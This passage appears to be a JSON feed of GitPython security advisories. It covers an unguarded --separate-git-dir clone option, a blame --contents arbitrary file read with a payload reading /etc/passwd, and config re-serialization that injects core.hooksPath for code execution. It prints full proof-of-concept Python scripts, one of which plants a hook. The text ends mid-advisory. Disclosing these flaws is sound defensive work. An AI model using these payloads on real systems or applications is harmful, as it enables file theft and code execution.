sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there — an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython's own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` — `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` — `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` — docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` — `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` — which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No — `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`'s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No — confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path — `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) — i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one — currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n    src = os.path.join(workdir, \"src\")\n    dest = os.path.join(workdir, \"dest\")\n    sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n    target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n    for p in (src, dest, sentinel_dir):\n        os.makedirs(p, exist_ok=True)\n\n    # Minimal benign source repo to clone from.\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n    with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n    subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n\n    print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n    assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n        \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n    )\n\n    try:\n        repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n    except git.exc.UnsafeOptionError as e:\n        print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n        sys.exit(1)\n\n    wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n        os.path.join(target_gitdir, \"config\")\n    )\n    gitlink_points_outside = False\n    with open(os.path.join(dest, \".git\")) as f:\n        gitlink = f.read().strip()\n        gitlink_points_outside = target_gitdir in gitlink\n\n    print(\"repo.git_dir =\", repo.git_dir)\n    print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n    print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n    if wrote_outside and gitlink_points_outside:\n        print(\"VULNERABLE: git directory created at attacker-controlled path \"\n              f\"outside the clone destination: {target_gitdir}\")\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: sentinel not observed\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T18:41:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc","https://nvd.nist.gov/vuln/detail/CVE-2026-78677","https://github.com/gitpython-developers/GitPython/pull/2210","https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml","https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir","https://github.com/advisories/GHSA-8mcc-hrx5-hvxc"],"source_kind":"github","identifiers":["GHSA-8mcc-hrx5-hvxc","CVE-2026-78677"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-07T16:00:41.948Z","epss_percentage":0.00651,"epss_percentile":0.49532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWNjLWhyeDUtaHZ4Y84ABu8T","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bWNjLWhyeDUtaHZ4Y84ABu8T","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.59","vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWNjLWhyeDUtaHZ4Y84ABu8T/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01eHh4LXFoaDctOTI4N84ABu8S","url":"https://github.com/advisories/GHSA-5xxx-qhh7-9287","title":"GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()","description":"## Summary\n`Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents \u003cfile\u003e` and `-S \u003cfile\u003e`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=\u003cpath\u003e` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).\n\n## Root Cause\n`unsafe_git_revision_options = [\"--output\",\"-o\"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision.\n\n## Impact\nArbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nresult = repo.blame(\"--contents=/etc/passwd\", \"a.txt\")\n# result rows carry the victim file's line text\n```\n\n## Attack Chain\n1. Entry: app calls `repo.blame(rev, file)` with attacker `rev=\"--contents=/etc/passwd\"` (or kwarg `contents=\"/etc/passwd\"`, or `-S`).\n2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `[\"--output\",\"-o\"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error.\n3. Sink: `self.git.blame(rev, \"--\", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=\u003csecret\u003e','HEAD','--','a.txt']`.\n4. Impact: blame result rows carry the victim file's line text.\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=\u003csecret\u003e','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded.\n\n## Affected Versions\n`GitPython \u003c= 3.1.58` (denylist present verbatim on the latest release tag).\n\n## Suggested Fix\nPrefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule \"the option takes a filesystem path\" rather than \"the option writes output\".\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T18:41:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287","https://nvd.nist.gov/vuln/detail/CVE-2026-78678","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame","https://github.com/advisories/GHSA-5xxx-qhh7-9287"],"source_kind":"github","identifiers":["GHSA-5xxx-qhh7-9287","CVE-2026-78678"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.775Z","epss_percentage":0.00412,"epss_percentile":0.32647,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eHh4LXFoaDctOTI4N84ABu8S","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eHh4LXFoaDctOTI4N84ABu8S","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.59","vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eHh4LXFoaDctOTI4N84ABu8S/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yODRoLW02MnEtZ2Y4d84ABu8R","url":"https://github.com/advisories/GHSA-284h-m62q-gf8w","title":"GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive — live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S'replace(\"\\n\", \"\\n\\t\")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string 'A\\nhooksPath = ../evil-hooks'.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = '\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n'\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it's inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write('#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n' % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch's\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-08T18:39:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w","https://nvd.nist.gov/vuln/detail/CVE-2026-78676","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml","https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection","https://github.com/advisories/GHSA-284h-m62q-gf8w"],"source_kind":"github","identifiers":["GHSA-284h-m62q-gf8w","CVE-2026-78676"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T19:00:09.410Z","updated_at":"2026-10-02T15:00:44.777Z","epss_percentage":0.00775,"epss_percentile":0.53833,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODRoLW02MnEtZ2Y4d84ABu8R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yODRoLW02MnEtZ2Y4d84ABu8R","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.59","vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODRoLW02MnEtZ2Y4d84ABu8R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03ODMzLWZyN2otdjMycc4ABu8Q","url":"https://github.com/advisories/GHSA-7833-fr7j-v32q","title":"GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)","description":"# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config 